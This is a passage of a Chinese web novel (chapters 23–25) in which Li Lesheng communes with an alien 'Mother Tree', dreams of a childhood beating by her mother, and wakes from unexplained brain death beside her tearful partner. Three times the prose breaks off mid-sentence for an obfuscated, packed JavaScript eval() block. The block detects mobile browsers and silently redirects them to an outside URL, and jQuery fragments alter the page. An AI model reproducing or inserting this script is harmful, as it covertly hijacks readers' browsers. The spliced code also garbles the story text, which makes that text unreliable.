TA的根部,犹如星球环道的【菌链】笼罩着星球,紧接着,又延伸向了其他的星球。 这是怎么回事?李乐生想不明白。 她只觉得连时间都静止了,周围的一切都很慢,只有那些【菌链】中传输的能量特别特别的快。 是这颗【母树】的星球,生出了其他的星球。 而其他的星球又在供养着这颗【母星】。 醍醐灌顶般,她瞬间明白了面前这一幕是什么意思的。 “ni…s……” 又是一阵低语。 李乐生愣住。 那声低语像是从她的脑子里响起来的。 “谁?”李乐生开口。 可是她听不到自己的声音。 忽然,她看到那颗【母树】动了。 在TA那立体的镂空的树冠内,凭空出现了一只巨大的眼球,眼球的后方,连接着树冠的触条,源源不断的能量供养给那颗眼球。 而那颗眼球,机械的、很不自然的转动了几下,好像是在调整。 随后,那颗眼球的瞳孔,死死的盯住了李乐生。 李乐生被这一眼吓得失神。 “我的……孩子……” 她这次清楚的听到了,来自那颗星球的低语。 下一秒,李乐生两眼一黑,晕了过去。 再次睁开眼。 李乐生又回到了【异常者安定区】。 她愣了好几秒,双耳有好一会儿的失鸣,眼前的谢春花嘴巴一张一合,却像是默剧里的演员,又像是一条被人捕捞上岸后不会发生的鱼。 脚下如今有了实体的土壤,不再是悬浮的失重的恐惧。 她像是在做梦,明明能看到谢春花,可是又能从第四人的视角看到在场的一切景象。 她不是站着的,而是整个后背都靠在李唯一的身上,四肢瘫软,躺在李唯一怀里。 她的双眼睁着,却像是两颗映照的珠子,没有半点光彩。 而谢春花正挥着手急切地和她说话,但是表情并没有什么不安。 忽然,李乐生的眼睛动了一下。 回来了。 她的视角完完全全回到了自己身体里。 李乐生这才发现自己的呼吸很大声很急促,有一种意犹未尽的回味。 “可以听到我说话了吗?乐生小姐?嗨……”谢春花的声音也清晰的传达到了自己的耳中。 “我听到了……”李乐生开口,她的喉咙有些干涩。 她还被李唯一架着,双腿弯曲搁置在地上。 “我怎么……”李乐生看到她和李唯一的姿势,疑惑地发问。 “和【母树】交谈的时候,我们的身体会失去主导意识的,俗称昏迷。”李唯一回答她。 “是啊是啊,你也太心急了。我都没说完呢,你就已经牵上【母树】的触条了,虽然说这些都是湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945321|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土,就算脑袋磕地上了也不会有什么大问题,其实磕出病了也不怕,我们的医疗技术修个头颅简简单单……” 眼见着谢春花的话题越跑越偏,李唯一不得不开口打断,“有看到什么吗?” 女人还很贴心的扶好她。 “你也和【母树】交流过吗?”李乐生听到李唯一的问题,好奇的问道。 李唯一点了两下头。 没等李乐生问她看到了些什么,自己就全盘托出了,“所有的【治安官】都会和【母树】交流的,根据精神力的高低排序,除了谢院长外,我应该是最多交谈的那个人。” “不过与【母树】交谈的次数多少并不能代表内容的多少。” 李乐生:“什么意思啊?” 李唯一略微思考,道,“【母树】传递给每个【治安官】的画面,姑且说是画面吧。” “似乎都是内容固定的。比如说,当我和【母树】交流的时候,可能用了十次将TA传递给我的内容才全部接收,那么等到了第十一次、第十二次甚至是更多次,都不会有新的内容了。只会随即接收到以前的那十次画面。” “原来是这样啊。”李乐生恍然大悟。 李唯一再次将话题转到李乐生的身上,“那你见到了什么?有趣吗?” “有点……记不太清了。”李乐生回想着她见到的东西,“好像有一颗长着【母树】的星球,很大很大的【母树】。” 之后的其他画面,她想不起来。 甚至打了个哈欠。 “是TA们的母星啦。”谢春花一听就知道了,随意解释道,“我们这里的人与【母树】第一次交流也都会看到这个信息。” “哦~~~” 李乐生点头,又打了个哈欠,那声回应也因为她的哈欠跌宕起伏。 “她困了,我们先回去了。”李唯一注意到李乐生困得眼皮子都在打架。 谢春花:“这么快吗?” 晚饭时间都没……她看了眼手环,哦,已经到了。 “一起吃个晚饭呗,我这里也有休息的地方啊。”谢春花尝试挽留。 她还有点舍不得这个新学生。 “不必了。”李唯一拒绝。 身旁的李乐生:“不行,真的……” 好困两个字还没说出口,李乐生的疲惫感直接将她压倒。 女人双眼一晕立马睡了过去。 李唯一眼疾手快,直接将其抱住,随后又弯腰将伴侣整个人横抱在怀里。 “再见,谢院长。”李唯一道,转身,“我替乐生谢谢你今天的陪同。” 又来了又来了。 没什么情绪的人机一样的语气。谢春花看着李唯一离开的背影,啧啧个不停。 治安基地内。 李唯一带着李乐生刚进一楼大厅,就看到了等候已久的林。 女治安官正对着手环屏幕上的一款游戏点个不停。 “队长!”李唯一的实现落在她身上的那瞬间,她便察觉到了,连忙关闭悬浮框走上前来。 林:“有什么事吗?” 不久前,李唯一发了消息,说要让她帮个忙。 “麻烦把乐生送回我的房间,可以吗?”李唯一看了眼怀里的人。 林立马点头,并从女人手中接过熟睡的李乐生。 “不过她出什么事了吗?”她问道。 “和【母树】交流了一下,睡一觉就好了。”李唯一回答。 林了然,这基本是每个人的必经之路了。 “不过队长,您要去做什么?如果是工作的话,请无视我。”林实在好奇,要知道平日里李唯一基本有空就会待在李乐生身边,哪怕是工作,只要不是机密,都会尽量和李乐生同处一室。 虽然两个人其实也不怎么腻乎。 “犯了错,去接受思想教育。”李唯一按动手环,开启跃迁权限。 “啊?” “对了。”治安队长忽然又停下来,略微严肃的对林说道,“你见到纳德之后,提醒他,让他多教一下那头玩偶熊,对人有点边界感,不要觊觎别人的妻子。” 李唯一可没忘记刚出【树菌族繁衍区】时,蓬蓬竟然还在外面守着,见到她抱着李乐生出来后,泰山压顶般的就朝她们俩人扑了过来。 想要将她怀里的人抢走。 虽然没得逞。 林:? 双重疑惑之际,自家队长已经通过跃迁传走了。 “监测处检测到你在【异常者安定区】使用精神力去威胁【异常人员】,是否属实?”治安部部长办公室里,安娜很是头疼的扶着额头,问着站在她办公桌前的学生。 李唯一点头。 “什么原因?那个【异常】有危害倾向?所以你采取了提前预防的措施?”安娜耐心的询问缘由。但是牙关咬得很用力。 李唯一点头,“对我有一定的危害倾向。” 治安部部长的情绪柔和了点,语气却变严肃了:“哦?说清楚点?” 李唯一坦然道,“勾引我妻子。” 办公室里响起治安部部长的怒吼声。 24. 第 24 章 李乐生又做梦了。 不过与之前的梦不太一样,这次的梦里,她是自己的看客。 她甚至觉得不太像做梦,倒像是在自己的回忆里走了一圈。 她站在家门的外面,听着院子内的争吵。 涂着红漆的大门上被别人用粉笔、墨水写满了“还钱”“李成钢欠我血汗钱”等字样。 其实还有一些早就被她用湿毛巾擦掉的、但没有完全消失的痕迹,不过写字的人实在太多了,所以再怎么擦,都擦不干净。 “你是不是这家的主人?啊!你是贼吗?天天躲在外面不回来!” “你个狗杂种!李成刚!我X你X!” “这家你还要不要了!” 院子里的母亲对着手机怒吼,嘶哑的吼声中夹杂着断续的哭声。 李乐生的双腿站在门外,垂头听着女人在门那边的哭声,心中五味杂陈,连自己的眼睛都泛酸,有了泪意。 她想起来了,这段时间。 是家中最艰难的那段日子。 她的父亲是个包工头,之前承包的都是一些小工程,父亲在当地有点儿人脉,所以工程款都能按时结账。 赚的钱由妈妈掌管,攒下来了不少。 后来,父亲有了野心,决定和那些大企业、政府等机构合作,赚的更多点儿。 但他的那点小人脉还不能直接和政府搭线,请人吃饭送人烟酒,好久后,到手了一个建高速的项目。 不过项目方不是直接政府,而是政府所找的承包企业,也就是说她父亲以及父亲带领的工人们赚的是外包的那些钱。 不过对于她父亲来说,层层抽成后的外包款,也比平日里的小工程赚的多。 毕竟当时正是全国基建的高潮,尤其是他们西北那块儿,很多省都注重建立省内高速,投的钱很多。 父亲带着自己的队伍将他们负责的项目干完后,对接的企业方却不愿意付款,在验收的三个阶段先是各种找茬扣钱,最后直接拖延付款期限。 跟着干了四个多月的工人们迟迟拿不到钱,便都找她父亲要钱。 她的父亲多次安抚后,工人们也不信了,于是砸了父亲的车。 最后,是她的母亲骂骂咧咧的把家里剩余的存款拿了大部分出来,给工人们结款。 但那点存款实在是九牛一毛,只能先以二成的数字给每个人都均分结款。 那个晚上,送走那些农民工和他们的老婆前,父亲承诺要到账后马上将剩余的工资结清。 也就是从那天晚上开始,李乐生的童年开始变得千疮百孔。 那时候的她还在小学。 原本和睦幸福的一家四口,整日充斥着争吵与谩骂。 母亲一开始只是抱怨父亲好高骛远不懂知足,之后便是无休止的谩骂这个该死的男人躲在外面留她一个人在家带着两个孩子,还要担惊受怕提防那些要账的人,再往后便是将她的痛苦和哀怨转移到别的地方—— 孩子。 家务、工作与孩子让刘文莉,也就是她的母亲,本就疲惫不堪。 而那些要账的工人一个接一个的敲门、踢门、砸门,站在家门外谩骂喊叫,闹得街巷邻里人人皆知,他们家是不给别人血汗钱的无赖。 在李成刚在外躲债和打官司要账的那一年多时光里,刘文莉在家中也经受着身心的双重折磨。 和睦的夫妻情感在那一年也成了泡沫和笑话。 刘文莉打电话给丈夫,问到底什么时候能解决事情?说她被人戳脊梁骨时抬不起头来,说亲戚们避她如避蛇蝎……刚开始李成刚还会安慰她,但随着一次次电话交谈带来的失望,两人就剩下了争吵。 甚至于,李成刚不再接妻子的电话。 刘文莉要借别人的电话打过去,才能打通。 打通后其实也说不出什么有用的话来,她的母亲已经将父亲的电话当成了一种发泄的工具,接通后便是劈头盖脸的谩骂,什么难听的话都有,声音大的几乎可以让周围三四家人听的清清楚楚。 李乐生这时候,都带着李鑫宇站在附近。 她实在不知道做什么,她害怕妈妈那狰狞的样子,又觉得妈妈很难过,她想逃避,又怕逃开后第二天连妈妈也离开这个家。 刘文莉对着电话骂,她就站在原地流眼泪。 李鑫宇也不说话,姐弟两人跟两根紧紧依偎着的木头似的。 都怯生生的看着发疯的母亲。 电话那头的父亲说了什么,其实李乐生一直都不知道,但基本都是在刘文莉骂个不停的时候直接挂断电话,等刘文莉第二次、第三次打过去后发现只是单方面的输出情绪,再往后的次数对方便直接拒接了。 李成刚的世界清净了,但刘文莉的世界却安静不下来。 “哭哭哭!就知道哭!没用的东西!” “你怎么不把你那个死鬼老爸找回来!?” 李乐生哭的更厉害了。 刘文莉也更生气了。 她拿起扫帚就往李乐生的背上打,正直夏天,李乐生穿的薄,火辣辣的痛让她惨叫起来。 “妈!啊——”她抱着头蜷缩在地上,被刘文莉的扫帚一下又一下的鞭笞着,哀嚎。 李鑫宇站在一边被吓得不敢说话。 “这么热的天,太阳这么晒,你带着鑫宇站在太阳下面!你是不是想气死我!” “不好好学习就知道带弟弟乱跑!你跟你那个爸一样!你们李家人都不是东西!” “还哭!还哭!!” …… 扫帚一下又一下的打在李乐生的身上,到最后,整个背都皮开肉绽。 直到刘文莉的情绪全部发泄出来,妇人一手扔掉扫帚,喘着气,冷静的抓起身旁小儿子的手进了客厅。 只留下抱着头蜷缩在地上的李乐生,像一只没了壳的蜗牛,瑟瑟发抖,死咬的嘴巴里偶尔流露出几丝呜咽和啜泣。 李乐生站在门外,她很清楚的透过门缝看到了少时的自己。 被母亲暴打后,又被短暂抛弃的自己。 “我以前这么惨吗?”李乐生的眼睛眨了眨,她明明记得小时候挨过打,但是每次回想起来时都不觉得自己惨。 反倒是今天,在梦里从头到尾看了一遍,才觉得母亲打的好狠。 “话说我不是在做梦吗?为什么不能为所欲为?”她自言自语,再次伸手推了推门,打不开。 她进不去。 不是梦里干什么都能行吗? 她怎么这么废? 她想去安慰一下那时候的自己,结果连门都进不了,即便心里清楚这只是做梦。 尝试着翻墙?她看了眼比大门要低十几公分的墙壁,觉得好像可以。 她抬脚朝墙根走去。 说起来这个梦有点过于真实了。 以前做梦虽然有时候也会出现梦魇,但其实无论如何都有一种悬浮感,而且视角总是很奇怪。 这次不一样,脚下踩着的土地都很真实,连温度、风向甚至是自己的肢体触感都和醒着时没什么两样。 “哐!”大门忽然被打开。 李乐生愣了一下,就看到一个小小的但很熟悉的身影冲了出来。 李乐生一愣,又反应过来了什么,连忙拔腿追了上去。 她想起来了,自己小时候因为这次无缘无故的挨打离家出走过。 虽然最后并没有人来找她,天黑了后,她一边忍着痛一边挪着步子回了家。 而且最心酸的是,她回了家发现家里灯是黑的,大门紧闭着,她也不敢敲门,就窝在门旁边,跟个没人要的流浪狗一样。 直到无星的夜空开始下雨,她看到撑着伞的妈妈带着李鑫宇从路灯下的巷口回来。 “我靠!跑这么快!我小时候就这么耐活啊!”李乐生发现她竟然追不上小时候的自己。 顶着那满身的伤还能跑的跟博尔特似的,李乐生忽然觉得她不该走文化生,应该走体育。 走体育的话,说不定她现在已经是女子短跑的奥运冠军了? “哎!停下!李乐生!”追了好几条街,绕着巷子追到一处废改计划中的街道后,李乐生终于想起来自己有张嘴可以喊了。 小女孩这时已经跑的有些慢了,只是还不想听,像个无头苍蝇一样乱跑,一心想着离这个家越来越远。 听到李乐生叫她,停下脚步,转身,哭花的一张脸反复揉了揉,看着李乐生,“你是谁?” 李乐生慢下脚步,叉着腰喘了几口气,提着脚向小时候的自己走过去,“你跑的可真快啊。” 她心想这梦还是不错的嘛。 她让自己停下自己就停下。 也算是一部分的为所欲为咯。 但是也太真实了,她跑的也是真累啊!肺都要炸了。 她小时候这么能跑,长大后就成了个咸鱼。果然上班太恐怖了。 小女孩没说话,只是往后退了几步,很提防她。 “我不是坏人。”李乐生连忙说道。 “坏人都不会说自己是坏人。”小李乐生反驳。 李乐生:“……你说的对。” 她小时候还真聪明。 “我就站在这儿,不靠近你了,你别后退了。”李乐生索性蹲了下来,双腿大叉开着,两条手臂也耷拉在自己的膝盖上。 小李乐生还想走,但背上的伤口让她痛的浑身一紧。 高昂的情绪过后,那些伤口的痛感便很快牵扯起了她的神经。 小李乐生疼的面目狰狞,“啊……” 她的手在抖,双肩缩着,不敢动,只活生生忍着,希望能忍到疼痛和毒辣消失。 李乐生看的眉头紧皱,牙齿都不自觉的咬紧。 不知过了多久,小孩像是习惯了疼痛,或者说是麻木了,脸上的表情平静了下来。 “你在看我笑话吗?”幼时的自己睁开眼,泛着泪的眼睛却是倔强。 李乐生身体一顿,赶忙否认,“怎么可能?我不是那种人。” 她是疯了,才会看自己的笑话。 “我只是不知道,不知道怎么帮你。”李乐生说道。 是因为在梦里吗?还是因为面对着自己呢?李乐生有些无所适从,她现在竟然一句安慰的话都说不出来。 要怎么安慰呢? 感觉面前的自己好像也不是很需要的样子。 场面一时间安静了下来。 “这片商业街马上要重建了啊。”她的目光掠过两边的商铺。 基本全都门窗紧闭,有的门窗破损被流浪汉占据了,不过目前应该已经被赶走了,有的商铺的牌子还挂着呢,但是堆积的灰尘早就将商标图样染脏了。 就连马路都坑坑洼洼的,中间那段废弃的小广场堆积了一堆建筑废料和生活垃圾。 她有点没话找话的感慨。 上初中前,她记得这条路被改成了一条夜市街,比之前的服装街经营好太多了。 “你和我爸妈认识吗?”小李乐生突然问道。 李乐生沉默几秒,舔了舔嘴巴,“认识,挺熟的。” “可我从来没见过你。”小李乐生继续。 李乐生:“我和你爸妈闹了点不愉快,所以很久没有回家了。” 她工作后,确实一直都没有回过家。 “可你不像农民工。”女孩说道。 李乐生愣了一下,看来是对方以为自己也是要账的呢。 “我不是农民工,我力气小,干不了那些体力活。”李乐生回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952518|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方更疑惑了,“那你叫住我,是想干什么?” “我没有钱,真的。”女孩低头,又添了一句。 李乐生觉得自己的咽喉有点堵,想说话,却说不出来。 幼时的这场家庭变故虽然最后解决了,但是她却认识到了“缺钱”对一个家庭有多么大的影响。 往后的很多年里,她会试图用自己的劳动和学习,最大限量的获得金钱以及与金钱同等价值的东西。 积攒,弥补和预防。 曾经的她深信,只要家里有钱用,家里人就会一直相亲相爱,其乐融融。 “妈妈为什么要打我呢?”女孩突然开口,“姐姐,你知道吗?我背上的伤,是我妈刚刚用扫帚打的。” 李乐生瞳孔微缩。 女孩继续说,眉头紧锁,难过的思索,“我该怎么做,她才能开心呢?” 在幼时的李乐生眼里,刘文莉给予她的这顿毒打不是发泄怒气,而是因为她惹妈妈生气了。 可她完全没有头绪。 以前和弟弟在太阳下面奔跑的时候,妈妈也没有这么打过她的。 你做什么她都不会开心的,她只是需要发泄,所以选择了你。李乐生心里想,却没说出来。 “好好学习,李乐生。”她说道。 女孩那双眼睛有些迟疑的看着她。 李乐生笑道,“好好学习,好好读书,李乐生。书里有很多有趣的知识,它们会教会你很多东西的。” 小李乐生:“也包括让妈妈开心吗?” 李乐生敛眸,又抬眸,对着幼年的自己说道,“那需要你自己去发现。” 她没有给出一个确切的答案,因为这个问题都不是正确的。 但她想,眼前的小女孩以后会明白的,也不会再困于这个问题,就像如今的她一样。 语毕,李乐生的眼前忽然有一阵恍惚。 她的心中突然有了一个预感,她要离开了。 “快回家吧,李乐生。”她站起身来,看着灰蒙蒙的天,“回家太晚的话,你会被雨淋湿的。” 这句话说完,李乐生觉得自己看到的东西开始变得模糊了,她的身体竟然也变得透明了。 她最后一眼看向幼时的自己,发现小女孩低着头,目光并没有看向她。 下一秒,李乐生睁开了眼睛。 “嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀!!!!!” 尖锐的电子音不断地在房间内响起,她的手腕处也不停的传来震动。 李乐生有几秒钟的恍惚,随后发觉她是在病房里。 转头,看到的是贴在自己身上的各种检测线,就连自己的额头和太阳穴都贴着检测线。 她的呼吸也不对,气体好……纯净? 她还在吸氧! 哎?怎么回事? 李乐生一下子惊住了。 “嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀嘀……” 手环还在响。 她抬起手,自己的手环也在保持着相互同频率的震动,还有闪烁着的红灯。 “嘭!”病房门被打开。 李乐生转头,就看到一个白色身影像鬼似的扑到了她床前。 “你醒了。”漂亮的治安队长此刻可以用花容失色来形容,她的双手抓着病床的栏杆,却止不住的在发抖,那双平日里总是充满冷静的眸子在此刻显得慌乱。 像是失而复得,又像是随时都会崩溃。 “能听到我说话吗?乐生?” “我。” “能说话吗?乐生。” “记得我吗?” “你还记得这里是哪吗?” “你还记得自己是谁吗?” “拜托你,乐生,说说话……” 李唯一的声音到最后脆弱的宛如被潮水屡次冲撞后濒临塌陷的堤岸,她的目光,肢体都散发着的恳求的意味。 紧接着,有密密麻麻的人从门外进来。 “怎么了?”李乐生终于从这顿信息量过大的冲击中回神,很不解的问。 她想坐起来。 结果李唯一忽然抱住了她,将她的动作压制住了。 那颗毛茸茸的脑袋紧紧的贴在她胸前,柔软的细发也在剐蹭着她的下巴,让她有点痒。 “李唯一?”她抬起手,想把对方推开,但感受到对方身体的颤抖后,还是停下了。 转而将手放在了对方的背上,有一下没一下的抚摸着。 李唯一在哭,在害怕。 “所有数据都恢复正常了?” “不过大脑的数据相比第一次检查时要更活跃些。” “所以具体原因是什么?” “暂时没有查出来。” “……” 穿着白大褂的一群人在讨论着,李乐生觉得李唯一目前是问不出什么东西了,于是朝那边的人开口。 她看到林和冬也在其中,尤其是林,脸色很不安,正好和她的眼神对上。 “林小姐,到底发生什么事了?”李乐生提问。 她记得自己好像是和那个【母树】交流了之后就睡着了,怎么一醒来在病房里躺着,身上还贴了一堆检测仪器的连接线。 林有些犹豫,眼神盯着李唯一,试图从自己队长的身上得到授意。 但李唯一此时正抱着李乐生不撒手,压根注意不到林的信息。 “你刚刚失去大脑的生命体征啦!”一群白大褂中,突然有个人转过头,神情甚是严肃。 这人李乐生认识,是树菌族繁衍区里的谢春花。 但她的重点已经不在谢春花为什么会出现在病房里这件事上了。 “啥?”李乐生以为自己听错了。 她刚刚脑死亡了? 25. 第 25 章 据谢春花所言。 每个人和【母树】第一次交流之后,都会进入睡眠状态。 因为【母树】在和除了树菌族以外的生物进行初次交流时,需要进行语言转换。 所谓的语言转换,其实就是【母树】将自身的语言符号传输给对方时,要解析出对方能够接收的方式。 就像李唯一、李乐生或者是更多拥有类似大脑器官的种族,他们的接收方式是脑内画面。 这种语言转换发生在【母树】与交流者接触的第一瞬间,类似于U盘传输文件,人类的大脑会在这一瞬间高速工作配合转换,成功的植入【母树】的语言符号。 很费脑子。 但之后如果再次进行交流,便不需要了,也不会再陷入昏睡。 精神力强大的【治安官】们也是不可避免的。 然而李乐生被送回房间后三十分钟,却出事了。 ID手环对于持有者的身体变化会随时记录,一旦持有者身体出现濒死或类似的极端变化,手环会自动开启报警状态,呼唤救助。 李乐生的脑活动消失了。 手环监测不到她的大脑活动了,全脑神经活动毫无征兆的停止了。 按理来说,出现这种情况,其实这个人本身就已经失去生命体征了。 但是李乐生的情况又尤其的特殊,让人百思不得其解。 她的身体是活着的。 心脏、血管流动甚至是呼吸、体温都和平日没什么区别。 众人来不及思考为什么李乐生的脑死亡这么特殊,她们第一时间就开启了重症监护方案,仅用了五分钟,就将李乐生转移到了基地的医院里。 各种仪器监测设备和医疗方案层出不穷,连精神类治疗的异能者都上场了好几个,结果李乐生的情况并没有好转。 但是也没有变坏。 女人就像是被童话故事书里的女巫施了沉睡魔法似的,好像必须要某个王子或是心爱的人唤醒。 有的医生甚至开始信玄学了。 主要是他们所有的招数都用上了,可是治疗方案全都没效果。 真的很紧张很棘手。 尤其是,在她们的身边,一直站着一个压抑感很强的李唯一。 这个向来待人接物从不让别人挑得出过错的女人,今天下午总让人冷汗涔涔。 其实她并没有做什么出格的事情,平常人面对伴侣出现这种类似濒死的境况,往往都是很难自然面对的,即便社会的文明素养再高,亲人的离世总是无法令人平静的。 但李唯一从头到尾都很平静,她安静的站在一旁,听着医生们讨论病情的治疗方案,看着她们尝试了一个又一个并全部失败,等待着她们的每次结果。 女人的眼睛没有半分颤动,她总是站在观察室的玻璃窗前,死死的盯着窗墙内,被仪器检测线布满全身的昏迷中的妻子。 她的身体紧绷,神情从头到尾几乎没有变化,偶尔会转头看看记录仪上的数字,随后又转头继续盯着妻子。 她平静的似乎只是个路过的陌生人。 但所有人都知道,那只是表面的状态。 异能者的精神力是可以具象化被他人感知到的,尤其是同为异能者,对方释放的一瞬间,甚至不需要可以具象化,她们就能感觉到。 李唯一本就是现任治安官里最强的,她的精神力无论是作为护盾还是武器,都是极有威力的。 而异能者在产生极端情绪,尤其是濒临崩溃和爆发的时候,TA们的精神力会外泄。 冰冷。 李唯一的精神力外泄的范围并不大,其他人能明显感知到,李唯一在尽力克制自己。 但那股冷的让人骨髓都发疼的精神力还是太恐怖了。 站在她身边,像是全身的血液都会被冻成冰似的,好几个医疗治安官都受不了。 一群医疗治安官凑成一堆,默不作声又心有灵犀的都离李唯一很远。 毕竟李唯一这鬼气森森的样子,即便是释放精神力阻挡,依旧会让她们头疼。 伴随着时间的流逝,她们这群医疗治安官心里压力也是一层楼接一层楼的盖。 李唯一没有开口催她们,连病情都不讨论,但是每当一批人进去尝试救治但无效退出监护病房后,她们这些再次回到观察室的人在打开房门的那一瞬间,就会对上李唯一那双看似死寂阴暗的眼睛。 短暂注视后,李唯一什么话也不说,收回眼神,继续盯着隔壁的妻子。 几个人暗自都松了口气。 李唯一自然不会因为治疗失败迁怒她们,但是异能者的精神力外泄时,带给外界的压迫感是不可控的。 她们都能理解,只是第一次见到这种恐怖的精神力。 大家都是异能者,怎么李唯一的精神力跟条毒蛇一样,让人压根不敢动。 “还好你醒了!你不知道,李队长在观察室担心死你了。”谢春花在内心里谢天谢地。 李唯一精神力外泄造成其他人心理恐慌这件事她没说,只说了李乐生的脑死亡她们怎么治都没用,还排查不出任何问题。 “你有没有觉得哪里不舒服?头痛?恶心?头晕之类的……”解释了李乐生为什么会出现在病房里后,谢春花立马就恢复了自己医疗治安官的身份。 也恢复了自己治病救人的老本行。 李乐生摇头,“没什么感觉。” 她觉得就是睡了一觉。 “这就奇怪了。”另一个医生开口,是个金发寸头的女人,右耳上还戴着类似耳机的装置,她的鼻梁很高,眼窝很深,皮肤介于黑色与黄色之间,显得她的面部线条十分硬朗。 “一般来讲,脑部受到重创的病人,在苏醒初期,其实还是会有后遗症的。”医生继续说道。 紧接着其他人也开口,“但她本来就是不寻常的,手环监测到的情况是大脑神经元忽然停止活动,她的脑部本身就没有受到任何外伤,即便是激光刺激也没有。” “所以不能用常理看待,而且也没有【异常伤害】的痕迹。” “现在能下床走动吗?” 医生们七嘴八舌的讨论着,其中一个还不忘记继续询问李乐生的状态。 李乐生这才发现,七个人里,六个都是女医生,只有一个男医生。 “李唯一……”她看着抱着自己的女人,轻声开口。 “我要下床了。” 李唯一几乎一直没动。 对方没说话,李乐生伸手轻轻摸了下女人的头发。 浓密的白发又细又软,微微翘起的发尾擦过她的手腕,她的指尖触碰到李唯一的头皮,微微发凉。 她怎么记得李唯一的体温是比普通人要高的呢? 正疑惑之际,女人放开了她,起身站起来。 立马高出一大截。 对方刚刚一直跪着的啊……李乐生立马意识到。 伴随着李唯一的起身,她看到了对方那张被白发半遮半掩的脸上,泛着可怜。 那双湿润的眼睛像是初冬冰湖刚结的一层冰,极易碎掉。 泪水的痕迹在李唯一的脸上还未干掉,勉强的、悲伤的对着她笑。 李乐生的胸口忽然有点闷。 她本人其实并没有什么影响,连濒临死亡的恐惧都不存在。 但是李唯一的状态告诉她,她的这场意外,真的很吓人。 “我真的没事了。” 她连忙坐起身,举起自己的胳膊不停的做着举起又放下的动作,检测线被她大幅度的动作甚至扯掉了好几根。 女人似乎还觉得要加强说服力,一把扯掉腿上的那些检测线,仪器此刻正在病房里疯狂发出警报。 李乐生光着脚站在地板上,对着众人转了圈,原地踏步了好几下,告诉所有人,她是真的很健康。 她又蹦了几下,身上宽松的病号服都随着蹦跳的动作起伏着。 “看吧!很健康。头也不晕,手脚很协调,说话也没问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959825|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她向所有人证明自己的健康,但却是看着李唯一说的。 说完后,眼睛也一直注视着李唯一,没有移开。 神情中带着点期待。 她希望能安抚李唯一。 “的确很健康。”谢春花点头。 “数据也表明,苏醒后的一切数值都是正常的。”金发寸头的医生正划动着自己的手环悬浮框,上面是李乐生的身体数值报告。 “李队长,您有过协助医疗院的多次经验,不如您再试着用自己的精神力查探一下您妻子的脑部?” 医生又关掉悬浮框,向李唯一提出了建议。 “我会做的,辛苦各位医疗官了。”李唯一转过身,露出平日里那张恰到好处又不过分热情的笑,“之后也会拷贝一份报告发给医疗院。” 得到满意的答复,医疗官们瞬间都高兴了起来。 要知道李乐生这个病例可不常见,虽然今天一直没找到原因,但这种有挑战性的突发性病症,对于她们来说,也是一种可遇不可求的机会。 “那就先不打扰你们了,李队长担心了那么久,乐生小姐多安慰安慰她吧。”谢春花笑眯眯的带着自己的几个前同僚走出门。 顺带着把一直靠墙站着,沉默不语的林也拉了出去。 关上门。 监控室里只留下了两个人。 李唯一回头将那些设备关掉,让室内恢复安静。 她朝李乐生走过来,直到和李乐生面对面,两个人的身体靠的实在太近。 对方的身影笼罩过来,李乐生本能的想要后退两步,但是被李唯一的手摁住了腰。 她只好站在原地,仰起脖子,看向对方。 “你哭了啊。”李乐生说,是陈述句。 她有点心虚,但自己都说不清楚心虚什么。 李唯一低着头,明明是俯视着她,可是半点儿压迫感她都感受不到。 相反,她觉得李唯一更脆弱了点。 随后她便看到,李唯一的眼睛里浸出了泪水,晶莹剔透的泪珠就那样摇摇欲坠的挂在女人的下眼皮内。 “别哭啊……”李乐生有点心疼。 她双手伸过去,摸着李唯一的脸,“我现在没事了,真的。” “这不是好好的吗?” “可是没有查出来病因…”李唯一说道,眼泪滚落,顺着鼻梁留下来,最终自鼻尖滴落。 掉在李乐生的衣裳上,晕染成一抹深色。 她的神情中充斥着愧疚与不安,“如果再次出现的话,你还能不能醒呢?” 李乐生一时语塞。 她没办法给出答案。 李唯一垂下眼眸,抬手,抓住了李乐生的右手手腕,又将自己的脸紧紧的贴在对方的掌心。 指腹下是很有规律的脉搏的跳动。 脸颊处感知到的是女人的掌心温度。 这都是活人的象征。 可是刚刚,躺在病床上的李乐生,也拥有这些东西。 但她的大脑却死了。 李唯一不敢想象,如果之后的李乐生又出现这种状况,她该怎么办? 难道说这就是李乐生带来的【异常】吗? 只是,伤害的不是【诺城】,不是这片土地,而是李乐生自己,还有她的心。 “我真的……不知道该怎么办?” “乐生。” “我很害怕。” 李唯一低头啜泣。 女人哭的时候没有太频繁的声音,安静的犹如默片,只是偶尔吸吸鼻子。 